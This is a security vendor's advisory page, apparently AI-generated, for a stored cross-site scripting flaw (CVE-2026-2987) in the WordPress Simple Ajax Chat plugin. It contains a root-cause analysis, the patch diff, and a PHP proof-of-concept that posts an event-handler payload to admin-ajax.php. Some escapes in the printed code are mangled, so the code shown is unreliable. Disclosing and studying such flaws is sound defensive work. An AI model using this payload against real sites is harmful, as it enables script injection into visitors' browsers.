Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2987: Simple Ajax Chat <= 20260217 – Unauthenticated Stored Cross-Site Scripting via 'c' (simple-ajax-chat)

CVE ID CVE-2026-2987
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 20260217
Patched Version 20260301
Disclosed March 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2987: The root cause is insufficient input sanitization and output escaping in the Simple Ajax Chat plugin’s client-side link generation function, `make_links()`, located in `/simple-ajax-chat/resources/sac.php`. The vulnerable regular expression, `/((http|https|ftp)://[^ ]*)/gi`, matches a URL until a space character. This allows an attacker to inject a malicious payload after a valid URL scheme but before a space, as the trailing characters become part of the constructed anchor tag’s `href` attribute. The exploitation method involves an unauthenticated POST request to the plugin’s chat submission endpoint, typically via `wp-admin/admin-ajax.php` with the `action` parameter set to `sac_process_chat`. The vulnerable parameter is `c` (the chat message). A payload like `http://example.com” onmouseover=”alert(‘XSS’)` would be processed. The regex matches `http://example.com” onmouseover=”alert(‘XSS’)` as the URL, and the replacement creates an anchor tag with a malformed `href` attribute containing the injected event handler. The patch changes the regex to `/((http|https|ftp)://[^s'”%]*)/gi`. This excludes whitespace, single quotes, double quotes, and percent signs from the matched URL segment, preventing the injection of characters that would break the attribute context. The patch also changes the link’s `rel` attribute and declares the `text` variable with `var`. If exploited, this stored XSS vulnerability allows unauthenticated attackers to inject arbitrary JavaScript into chat messages. The script executes in the browsers of any user who views a page containing the malicious chat log.

Differential between vulnerable and patched code

Code Diff
--- a/simple-ajax-chat/resources/sac.php
+++ b/simple-ajax-chat/resources/sac.php
@@ -196,8 +196,8 @@

 // links
 function make_links(s) {
-	var re = /((http|https|ftp)://[^ ]*)/gi;
-	text = s.replace(re, '<a rel="external nofollow" href="$1" class="sac-chat-link">«link»</a>');
+	var re = /((http|https|ftp)://[^s'"%]*)/gi;
+	var text = s.replace(re, '<a target="_blank" rel="noopener noreferrer" href="$1" class="sac-chat-link">«link»</a>');
 	return text;
 };

--- a/simple-ajax-chat/simple-ajax-chat.php
+++ b/simple-ajax-chat/simple-ajax-chat.php
@@ -10,8 +10,8 @@
 	Contributors: specialk
 	Requires at least: 4.7
 	Tested up to: 6.9
-	Stable tag: 20260217
-	Version:    20260217
+	Stable tag: 20260301
+	Version:    20260301
 	Requires PHP: 5.6.20
 	Text Domain: simple-ajax-chat
 	Domain Path: /languages
@@ -36,7 +36,7 @@
 if (!defined('ABSPATH')) exit;

 if (!defined('SIMPLE_AJAX_CHAT_WP_VERS'))   define('SIMPLE_AJAX_CHAT_WP_VERS',   '4.7');
-if (!defined('SIMPLE_AJAX_CHAT_VERSION'))   define('SIMPLE_AJAX_CHAT_VERSION',   '20260217');
+if (!defined('SIMPLE_AJAX_CHAT_VERSION'))   define('SIMPLE_AJAX_CHAT_VERSION',   '20260301');
 if (!defined('SIMPLE_AJAX_CHAT_NAME'))      define('SIMPLE_AJAX_CHAT_NAME',      'Simple Ajax Chat');
 if (!defined('SIMPLE_AJAX_CHAT_HOME'))      define('SIMPLE_AJAX_CHAT_HOME',      'https://perishablepress.com/simple-ajax-chat/');
 if (!defined('SIMPLE_AJAX_CHAT_FILE'))      define('SIMPLE_AJAX_CHAT_FILE',      __FILE__);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2987 - Simple Ajax Chat <= 20260217 - Unauthenticated Stored Cross-Site Scripting via 'c'
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin-ajax.php';

// The payload uses a valid URL scheme followed by a double quote and an event handler.
// The vulnerable regex matches up to the space, making the quote part of the href attribute.
$payload = 'http://example.com" onmouseover="alert(document.domain)';

$post_data = array(
    'action' => 'sac_process_chat', // The plugin's AJAX action hook.
    'c' => $payload,                // The vulnerable chat message parameter.
    'sac_nonce' => 'dummy_nonce'    // Nonce may be required; check if validation is present.
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School